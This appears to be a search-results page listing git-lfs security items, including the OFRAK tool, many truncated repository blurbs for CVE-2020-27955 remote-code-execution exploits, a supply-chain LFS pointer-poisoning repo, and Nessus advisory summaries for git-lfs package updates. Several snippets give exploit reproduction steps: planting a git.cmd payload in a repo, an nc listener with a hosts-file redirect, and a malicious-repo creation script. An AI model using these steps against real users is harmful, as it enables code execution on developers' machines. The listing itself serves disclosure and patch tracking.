ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

cve-2020-27955

cve-2020-27955 cve-2020-27955 复现 1. 创建github仓库 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs 远程代码执行（RCE）漏洞利用 CVE-2020-27955 Go版本 受影响：git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 等。 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 在Windows上测试于： git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit,...

CVE-2020-27955-LFS

Git-lfs 远程代码执行 RCE 漏洞利用 CVE-2020-27955 .bat / powershell 版本 受影响: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 等。 发现者: Dawid Golunski https://legalhackers.com https://exploitbox.io 在 Windows 上测试: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2020-27955

CVE-2020-27955漏洞复现 1、win机下载有漏洞的版本Git-LFS 下载地址：https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2、win机安装，添加如下信息host文件,10.1.1.5即是nc监听8888的主机（可自行替换） 10.1.1.5 abcall.xyz 3、10.1.1.5主机，nc启监听口8888 ┌──root㉿hostname- └─ nc Cmd line: -l -p 8888 4、win机cmd命令行输入 git clone...

CVE-2020-27955-LFS-main

Git-lfs 远程代码执行（RCE）漏洞利用 CVE-2020-27955（.bat / powershell 版本） 受影响：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等。 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在 Windows 上测试： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2020-27955-LFS

Git-lfs 远程代码执行 RCE 漏洞利用 CVE-2020-27955 .bat / powershell 版本 受影响软件: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 等 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在Windows上测试： git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2020-27955

Exploit de Ejecución Remota de Código RCE en Git-lfs CVE-2020-27955 versión .bat / powershell Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en Windows...

CVE-2020-27955

Git-lfs 远程代码执行漏洞 CVE-2020-27955 利用（.bat / powershell 版本） 受影响软件：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 在 Windows 上测试了以下软件： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2020-27955-LFS

Git-lfs 远程代码执行 RCE 漏洞利用 CVE-2020-27955 .bat / powershell 版本 受影响：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在 Windows 上测试： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Git LFS 指针投毒（供应链） 程序代码（Bash + Python） createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566 size 4" malware.bin g...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs 远程代码执行（RCE）漏洞 CVE-2020-27955（.bat / powershell 版本） 受影响软件：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等 由 Dawid Golunski 发现 https://legalhackers.com https://exploitbox.io 在 Windows 上测试于： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2020-27955

CVE-2020-27955 Gracias https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

AlmaLinux 9.6 [TuxCare] Security Update: git-lfs (ALMALINUX9.6:CLSA-2025:1767003835)

The AlmaLinux 9.6 host has a package installed that is affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2025:1767003835 advisory. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number. %NASLMINLEVEL...

Rocky Linux 8.6 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource Multiple Vulnerabilities (ciqsa-2026_0897)

The Rocky Linux 8.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ ciqsa-20260897 advisory. This advisory aggregates security fixes for the git-lfs SRPM in CIQ LTS 8.6. It addresses 4 CVEs: CVE-2024-34156, CVE-2022-2880, CVE-2022-41715,...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0845)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250845 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 9 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_23744)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202523744 advisory. git-lfs: Git LFS may write to arbitrary files via crafted symlinks CVE-2025-26625 Tenable has extracted the preceding description block directly from the CIQ...

Rocky Linux 8.8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (ciqsa-2026_0326)

The Rocky Linux 8.8 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20260326 advisory. This advisory aggregates security fixes for the git-lfs SRPM in CIQ LTS 8.8. It addresses 1 CVE: CVE-2024-34156. Tenable has extracted the preceding description...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlba-2024_3053)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlba-20243053 advisory. For detailed information on changes in this release, see the Rocky Linux 8.10 Release Notes linked from the References section. This advisory is provided by Ctrl IQ...

Rocky Linux 9 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0673)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250673 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...